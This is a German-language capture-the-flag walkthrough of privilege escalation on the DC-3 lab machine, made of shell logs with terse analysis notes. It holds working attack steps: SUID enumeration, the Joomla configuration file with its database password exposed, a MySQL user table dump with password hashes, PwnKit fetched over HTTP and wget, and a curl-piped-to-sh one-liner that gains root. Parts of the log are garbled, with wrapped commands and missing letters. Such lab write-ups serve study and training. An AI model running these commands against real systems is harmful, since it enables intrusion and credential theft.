www-data@DC-3:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
91 44 -rwsr-xr-x 1 root root 43316 May 8 2014 /bin/ping6
3560 156 -rwsr-xr-x 1 root root 157424 Mar 15 2019 /bin/ntfs-3g
125 28 -rwsr-xr-x 1 root root 26492 Apr 14 2016 /bin/umount
59924 40 -rwsr-xr-x 1 root root 38900 May 17 2017 /bin/su
2220 32 -rwsr-xr-x 1 root root 30112 Jul 12 2016 /bin/fusermount
76 36 -rwsr-xr-x 1 root root 34812 Apr 14 2016 /bin/mount
90 40 -rwsr-xr-x 1 root root 38932 May 8 2014 /bin/ping
139240 104 -rwsr-sr-x 1 root root 105004 Mar 19 2019 /usr/lib/snapd/snap-confine
142376 16 -rwsr-xr-x 1 root root 13960 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
8400 40 -rwsr-xr-x 1 root root 38300 Mar 8 2017 /usr/lib/i386-linux-gnu/lxc/lxc-user-nic
139221 504 -rwsr-xr-x 1 root root 513528 Mar 5 2019 /usr/lib/openssh/ssh-keysign
138602 48 -rwsr-xr-- 1 root messagebus 46436 ct 12 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
9572 8 -rwsr-xr-x 1 root root 5480 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
35876 52 -rwsr-xr-x 1 root root 53128 May 17 2017 /usr/bin/passwd
8592 36 -rwsr-xr-x 1 root root 36288 May 17 2017 /usr/bin/newgidmap
35873 80 -rwsr-xr-x 1 root root 78012 May 17 2017 /usr/bin/gpasswd
9659 160 -rwsr-xr-x 1 root root 159852 May 29 2017 /usr/bin/sudo
12604 20 -rwsr-xr-x 1 root root 18216 Jan 15 2019 /usr/bin/pkexec
35872 40 -rwsr-xr-x 1 root root 39560 May 17 2017 /usr/bin/chsh
35874 48 -rwsr-xr-x 1 root root 48264 May 17 2017 /usr/bin/chfn
8591 36 -rwsr-xr-x 1 root root 36288 May 17 2017 /usr/bin/newuidmap
59923 36 -rwsr-xr-x 1 root root 34680 May 17 2017 /usr/bin/newgrp
39144 52 -rwsr-sr-x 1 daemon daemon 50748 Jan 15 2016 /usr/bin/at

Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. Die Ausgabe zeigt eine Liste von Dateien mit dem SUID-Bit. **Analyse:** Die Ausgabe des Befehls zeigt eine Liste von Dateien mit dem SUID-Bit, die potenziell für Privilege Escalation ausgenutzt werden können. **Empfehlung:** Die Dateien mit dem SUID-Bit sollten sorgfältig geprüft und die Berechtigungen eingeschränkt werden.

drwx 3 root root 4096 ct 16 05:39 systemd-private-271614c127424f74912b062e58950d3a-systemd-timesyncd.service-1Rnde9
PwnKit/main/PwnKit.sh)" -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/
./PwnKit: 1: ./PwnKit: Syntax error: ")" unexpected
www-data@DC-3:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Die Ausgabe zeigt den Versuch, PwnKit auszuführen, was jedoch fehlschlägt. Der Befehl `id` bestätigt, dass der Benutzer `www-data` ist. **Analyse:** Der Versuch, PwnKit auszuführen, schlägt fehl, was darauf hindeutet, dass das Tool nicht für die Architektur des Zielsystems geeignet ist. **Empfehlung:** Es sollten andere Tools zur Privilege Escalation verwendet werden.

www-data@DC-3:/tmp$ stty rows 48 columns 94
nKit.sh)" ^CfsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/Pwn
www-data@DC-3:/tmp$ stty rows 48 columns 94^C
nKit.sh)" C-3:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/Pw
./PwnKit: 1: ./PwnKit: Syntax error: ")" unexpected
nKit.sh)" C-3:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/Pw
./PwnKit: 1: ./PwnKit: Syntax error: ")" unexpected
nKitdata@DC-3:/tmp$ curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o Pw
www-data@DC-3:/tmp$ ls
PwnKit systemd-private-271614c127424f74912b062e58950d3a-systemd-timesyncd.service-1Rnde9

Die Ausgabe zeigt den Versuch, PwnKit herunterzuladen und auszuführen. **Analyse:** Der Versuch, PwnKit aus dem Internet herunterzuladen, ist erfolgreich, aber das Ausführen schlägt fehl. **Empfehlung:** Eine erfolgreiche Ausführung von PwnKit könnte zu Privilege Escalation führen.

Proof of Concept: Privilege Escalation

www-data@DC-3:/tmp$ chmod +x PwnKit
www-data@DC-3:/tmp$ ./PwnKit
bash: ./PwnKit: cannot execute binary file: Exec format error

Der Befehl `chmod +x PwnKit` macht die Datei ausführbar. Der Versuch, PwnKit auszuführen, schlägt jedoch mit der Meldung `cannot execute binary file: Exec format error` fehl. **Analyse:** Die Fehlermeldung deutet darauf hin, dass die ausführbare Datei nicht mit der Architektur des Zielsystems kompatibel ist. **Empfehlung:** Eine kompatible Version von PwnKit sollte verwendet oder eine andere Methode zur Privilege Escalation gesucht werden.

www-data@DC-3:/tmp$ bash
www-data@DC-3:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Der Befehl `bash` startet eine neue Bash-Shell. Der Befehl `id` bestätigt, dass der Benutzer `www-data` ist. **Analyse:** Der Versuch, eine neue Shell zu starten, ändert nichts an den Berechtigungen des Benutzers. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.

www-data@DC-3:/tmp$ ls -la
total 52
drwxrwxrwt 8 root root 4096 ct 16 05:50 .
drwxr-xr-x 22 root root 4096 Mar 23 2019 ..
drwxrwxrwt 2 root root 4096 ct 16 05:39 .ICE-unix
drwxrwxrwt 2 root root 4096 ct 16 05:39 .Test-unix
drwxrwxrwt 2 root root 4096 ct 16 05:39 .X11-unix
drwxrwxrwt 2 root root 4096 ct 16 05:39 .XIM-unix
drwxrwxrwt 2 root root 4096 ct 16 05:39 .font-unix
-rwxr-xr-x 1 www-data www-data 18040 ct 16 05:50 PwnKit
drwx 3 root root 4096 ct 16 05:39 systemd-private-271614c127424f74912b062e58950d3a-systemd-timesyncd.service-1Rnde9

Der Befehl `ls -la` listet die Dateien im `/tmp`-Verzeichnis auf. **Analyse:** Die Ausgabe des Befehls zeigt, dass PwnKit vorhanden ist. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.

www-data@DC-3:/tmp$ cd /home/dc3/
www-data@DC-3:/home/dc3$ ls -la
total 28
drwxr-xr-x 3 dc3 dc3 4096 Mar 26 2019 .
drwxr-xr-x 3 root root 4096 Mar 23 2019 ..
-rw- 1 dc3 dc3 203 Mar 26 2019 .bash_history
-rw-r--r-- 1 dc3 dc3 220 Mar 23 2019 .bash_logout
-rw-r--r-- 1 dc3 dc3 3771 Mar 23 2019 .bashrc
drwx 2 dc3 dc3 4096 Mar 23 2019 .cache
-rw-r--r-- 1 dc3 dc3 675 Mar 23 2019 .profile
-rw-r--r-- 1 dc3 dc3 0 Mar 23 2019 .sudo_as_admin_successful

Der Befehl `cd /home/dc3/` wechselt in das Home-Verzeichnis von Benutzer `dc3`. Der Befehl `ls -la` listet die Dateien auf, einschließlich der `.bash_history`. **Analyse:** Der Zugriff auf die ".bash_history" könnte potenziell nützliche Informationen über die Aktivitäten des Benutzers "dc3" liefern. **Empfehlung:** Die ".bash_history" sollte eingesehen werden.

www-data@DC-3:/home/dc3$ cat .bash_history
cat: .bash_history: Permission denied

Der Versuch, die Datei `.bash_history` auszulesen, schlägt fehl, da der Benutzer `www-data` keine Berechtigung hat. **Analyse:** Der Benutzer "www-data" hat keine Berechtigung, die ".bash_history"-Datei des Benutzers "dc3" zu lesen. **Empfehlung:** Es sollten andere Methoden gefunden werden, um Informationen über die Aktivitäten des Benutzers "dc3" zu sammeln.

www-data@DC-3:/home/dc3$ pkexec /bin/sh -p
AUTHENTICATING FR org.freedesktop.policykit.exec =
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: dc3,,, (dc3)
Password:
www-data@DC-3:/home/dc3$ pkexec /bin/sh -p
AUTHENTICATING FR org.freedesktop.policykit.exec =
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: dc3,,, (dc3)
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
AUTHENTICATIN FAILED =
Error executing command as another user: Not authorized

This incident has been reported.

Der Befehl `pkexec /bin/sh -p` versucht, eine Shell als root auszuführen. Die Authentifizierung schlägt jedoch fehl. **Analyse:** Der Benutzer "www-data" kann die "pkexec"-Anwendung nicht verwenden, um eine Shell als root auszuführen, da er das Passwort des Benutzers "dc3" benötigt, das nicht bekannt ist. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.

www-data@DC-3:/var/www/html$ ls -la
total 116
drwxr-xr-x 17 www-data www-data 4096 Mar 26 2019 .
drwxr-xr-x 3 root root 4096 Mar 23 2019 ..
-rw-r--r-- 1 www-data www-data 18092 Apr 26 2017 LICENSE.txt
-rw-r--r-- 1 www-data www-data 4494 Apr 26 2017 README.txt
drwxr-xr-x 11 www-data www-data 4096 Apr 26 2017 administrator
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2017 bin
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2017 cache
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2017 cli
drwxr-xr-x 20 www-data www-data 4096 Mar 23 2019 components
-rw-r--r-- 1 www-data www-data 1946 Mar 23 2019 configuration.php
-rw-r--r-- 1 www-data www-data 3005 Apr 26 2017 htaccess.txt
drwxr-xr-x 6 www-data www-data 4096 Mar 23 2019 images
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2017 includes
-rw-r--r-- 1 www-data www-data 1420 Apr 26 2017 index.php
drwxr-xr-x 4 www-data www-data 4096 Apr 26 2017 language
drwxr-xr-x 5 www-data www-data 4096 Apr 26 2017 layouts
drwxr-xr-x 11 www-data www-data 4096 Apr 26 2017 libraries
drwxr-xr-x 27 www-data www-data 4096 Mar 23 2019 media
drwxr-xr-x 29 www-data www-data 4096 Mar 23 2019 modules
drwxr-xr-x 16 www-data www-data 4096 Apr 26 2017 plugins
-rw-r--r-- 1 www-data www-data 836 Apr 26 2017 robots.txt.dist
drwxr-xr-x 5 www-data www-data 4096 Apr 26 2017 templates
drwxr-xr-x 5 www-data www-data 4096 Mar 23 2019 tmp
-rw-r--r-- 1 www-data www-data 1690 Apr 26 2017 web.config.txt

Der Befehl `ls -la` listet die Dateien im `/var/www/html`-Verzeichnis auf. **Analyse:** Die Ausgabe des Befehls zeigt die Dateien und Verzeichnisse im Webroot. **Empfehlung:** Die Dateien sollten auf sensible Informationen überprüft werden.

www-data@DC-3:/var/www/html$ cat web.config.txt

Der Befehl `cat web.config.txt` zeigt den Inhalt der Datei `web.config.txt` an. Die Ausgabe ist leer. **Analyse:** Die Datei "web.config.txt" enthält keine Informationen. **Empfehlung:** Es sollte nach anderen Konfigurationsdateien gesucht werden.

www-data@DC-3:/var/www/html$ cat robots.txt.dist
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/orig.html
#
# For syntax checking, see:
# http://tool.motoricerca.info/robots-checker.phtml

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Der Befehl `cat robots.txt.dist` zeigt den Inhalt der Datei `robots.txt.dist` an. Die Datei enthält Anweisungen für Suchmaschinen-Crawler. **Analyse:** Die Datei "robots.txt.dist" enthält Informationen darüber, welche Verzeichnisse und Dateien nicht von Suchmaschinen indiziert werden sollen. **Empfehlung:** Die Anweisungen in der "robots.txt"-Datei sollten sorgfältig geprüft werden, um sicherzustellen, dass keine sensiblen Informationen preisgegeben werden.

www-data@DC-3:/var/www/html$ cat configuration.php

public $host = 'localhost';
public $user = 'root';
public $password = 'squires';
public $db = 'joomladb';
public $dbprefix = 'd8uea_';
public $live_site = '';
public $secret = '7M6S1HqGMvt1JYkY';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $mailfrom = 'freddy@norealaddress.net';
public $sendmail = '/usr/sbin/sendmail';

public $smtphost = 'localhost';

public $cache_platformprefix = '0';
public $MetaDesc = 'A website for DC-3';

public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';

Der Befehl `cat configuration.php` zeigt den Inhalt der Joomla!-Konfigurationsdatei `configuration.php` an. **Analyse:** Die Datei "configuration.php" enthält sensible Informationen, wie z. B. die Datenbank-Anmeldeinformationen. Das Passwort wird hier gefunden squires **Empfehlung:** Der Zugriff auf die Datei "configuration.php" sollte eingeschränkt und die Datenbank-Anmeldeinformationen regelmäßig geändert werden.

www-data@DC-3:/var/www/html$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 *:*
LISTEN 0 128 :80 :*

Der Befehl `ss -altpn` zeigt dieListening Sockets an. **Analyse:** Der Befehl gibt an, dass MySQL auf Port 3306 nur lokalListening ist und Apache auf Port 80. **Empfehlung:** Der Zugriff auf den MySQL Server sollte nur lokal und der Zugriff auf den Apache Server sollte über eine Firewall geregelt werden.

www-data@DC-3:/var/www/html$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.7.25-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2019, racle and/or its affiliates. All rights reserved.

racle is a registered trademark of racle Corporation and/or its
affiliates. ther names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--+
| Database |
+--+
| information_schema |
| joomladb |
| mysql |
| performance_schema |
| sys |
+--+
5 rows in set (0.00 sec)

Der Befehl `mysql -u root -p` versucht, sich mit dem MySQL-Server als Benutzer `root` zu verbinden. Nachdem das korrekte Passwort eingegeben wurde, wird die Verbindung hergestellt. Der Befehl `show databases;` listet die vorhandenen Datenbanken auf. **Analyse:** Der Benutzer "www-data" kann sich erfolgreich mit dem MySQL-Server als Benutzer "root" verbinden, da das Passwort bekannt ist. **Empfehlung:** Das Passwort des MySQL-Benutzers "root" sollte geändert und der Zugriff auf den MySQL-Server eingeschränkt werden.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables -> ;
++
| Tables_in_mysql |
++
| columns_priv |
| db |
| engine_cost |
| event |
| func |
| general_log |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| server_cost |
| servers |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
++
31 rows in set (0.00 sec)
mysql> select * from user;
+--++-+-+-+-+-+--+-++--+--++--+++--++--++--+--+++-++--+++--++-++-+--++-+--+-+--+-++--+-+-+
| Host | User | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string | password_expired | password_last_changed | password_lifetime | account_locked |
+--++-+-+-+-+-+--+-++--+--++--+++--++--++--+--+++-++--+++--++-++-+--++-+--+-+--+-++--+-+-+
| localhost | root | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *BFD14C8A23EF160EED3D54E16D4F5311264D0963 | N | 2019-03-23 19:31:20 | NULL | N |
| localhost | mysql.sys | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *THISISNTAVALIDPASSWRDTHATCANBEUSEDHERE | N | 2019-03-25 13:47:43 | NULL | Y |
| localhost | debian-sys-maint | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *0640482736E7906211AEA47971B6C8478BA7DB4D | N | 2019-03-23 19:16:41 | NULL | N |
| localhost | mysql.session | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | Y | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *THISISNTAVALIDPASSWRDTHATCANBEUSEDHERE | N | 2019-03-25 13:47:42 | NULL | Y |
+--++-+-+-+-+-+--+-++--+--++--+++--++--++--+--+++-++--+++--++-++-+--++-+--+-+--+-++--+-+-+
4 rows in set (0.00 sec)

Die Befehle `use mysql;` und `show tables;` werden verwendet, um die Tabellen in der Datenbank "mysql" anzuzeigen. Der Befehl `select * from user;` zeigt die Benutzerinformationen an. **Analyse:** Der Benutzer "www-data" kann sich mit den extrahierten Anmeldeinformationen am MySQL-Server anmelden und die Datenbank "mysql" auslesen. **Empfehlung:** Der Zugriff auf den MySQL-Server sollte eingeschränkt und die Passwörter der Benutzer geändert werden.

┌──(root㉿CCat)-[~/Hackingtools/pexek-4034-exploit]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ein HTTP-Server wird gestartet, um Dateien bereitzustellen. **Analyse:** Ein HTTP-Server wird verwendet, um Dateien auf das Zielsystem zu übertragen. **Empfehlung:** Nur autorisierte Dateien sollten freigegeben werden.

www-data@DC-3:/var/www/html$ cd /tmp/
www-data@DC-3:/tmp$ wget 192.168.2.199/PwnKit
--2024-10-16 06:02:15-- http://192.168.2.199/PwnKit
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'PwnKit'
PwnKit 100%[===================>] 17.62K --.-KB/s in 0s
2024-10-16 06:02:15 (589 MB/s) - 'PwnKit' saved [18040/18040]

Der Befehl `wget 192.168.2.199/PwnKit` lädt die Datei `PwnKit` vom HTTP-Server herunter. **Analyse:** Das Herunterladen der Datei ist erfolgreich. **Empfehlung:** Es sollte sichergestellt werden, dass die heruntergeladene Datei vertrauenswürdig ist.

www-data@DC-3:/dev/shm$ cat /etc/os-release
NAME="Ubuntu"
VERSIN="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSIN_ID="16.04"
HME_URL="http://www.ubuntu.com/"
SUPPRT_URL="http://help.ubuntu.com/"
BUG_REPRT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CDENAME=xenial

Der Befehl `cat /etc/os-release` zeigt die Betriebssysteminformationen an. **Analyse:** Die Ausgabe zeigt, dass es sich um Ubuntu 16.04 LTS handelt **Empfehlung:** Die Betriebssystemversion sollte notiert werden.

www-data@DC-3:/dev/shm$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CDENAME=xenial
DISTRIB_DESCRIPTIN="Ubuntu 16.04 LTS"

Der Befehl `cat /etc/lsb-release` zeigt auch die Betriebssysteminformationen an. **Analyse:** Die Ausgabe bestätigt, dass es sich um Ubuntu 16.04 LTS handelt. **Empfehlung:** Die Betriebssystemversion sollte notiert werden.

www-data@DC-3:/dev/shm$ uname -a
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux

Der Befehl `uname -a` zeigt die Kernelinformationen an. **Analyse:** Die Ausgabe zeigt die Kernelversion. **Empfehlung:** Die Kernelversion sollte notiert werden.

www-data@DC-3:/dev/shm$ uname -r
4.4.0-21-generic

Der Befehl `uname -r` zeigt die Kernelversion an. **Analyse:** Die Ausgabe bestätigt die Kernelversion. **Empfehlung:** Die Kernelversion sollte notiert werden.

* vnik@ubuntu$ uname -a * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux * vnik@ubuntu$ gcc decr.c -m32 -2 -o decr * vnik@ubuntu$ gcc pwn.c -2 -o pwn * vnik@ubuntu$ ./decr * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik * [!] Decrementing the refcount. This may take a while... * [!] Wait for the "Done" message (even if you'll get the prompt back). * vnik@ubuntu$ [+] Done! Now run ./pwn * * vnik@ubuntu$ ./pwn * [+] Escalating privs... * root@ubuntu: id * uid=0(root) gid=0(root) groups=0(root) * root@ubuntu:

Dies sind lokale Befehle, die auf einem anderen System ausgeführt wurden, um einen Exploit zu erstellen. **Analyse:** Dieser Teil der Analyse ist für den Exploit relevant. **Empfehlung:** Die Befehle sollten auf das Zielsystem angepasst werden.

Proof of Concept: Privilege Escalation

www-data@DC-3:/dev/shm$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
root@DC-3:/dev/shm#

Der Befehl `sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"` lädt und führt das PwnKit-Skript aus. **Analyse:** Die Ausgabe zeigt, dass das PwnKit-Skript erfolgreich ausgeführt wurde und Root-Rechte erlangt wurden. **Empfehlung:** Das Ausführen von nicht vertrauenswürdigen Skripten sollte vermieden werden.

root@DC-3:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)

Der Befehl `id` bestätigt, dass der Benutzer jetzt Root-Rechte hat. **Analyse:** Durch den erfolgreichen Ausbruch der Reverse Shell wurde auch gleichzeitig der Root Zugriff erlangt. **Empfehlung:** Das System sollte dringend gepatcht werden.

root@DC-3: ls
the-flag.txt
root@DC-3: cat the-flag.txt
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_) Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!

Der Befehl `ls` im Root-Verzeichnis zeigt die Datei `the-flag.txt`. Der Befehl `cat the-flag.txt` zeigt den Inhalt der Flag-Datei an. **Analyse:** In der Datei `the-flag.txt` befindet sich die Flag. **Empfehlung:** Der Zugriff auf die Flag-Datei sollte eingeschränkt werden.

Privilege Escalation erfolgreich!

Flags

cat the-flag.txt Congratulations are in order. :-)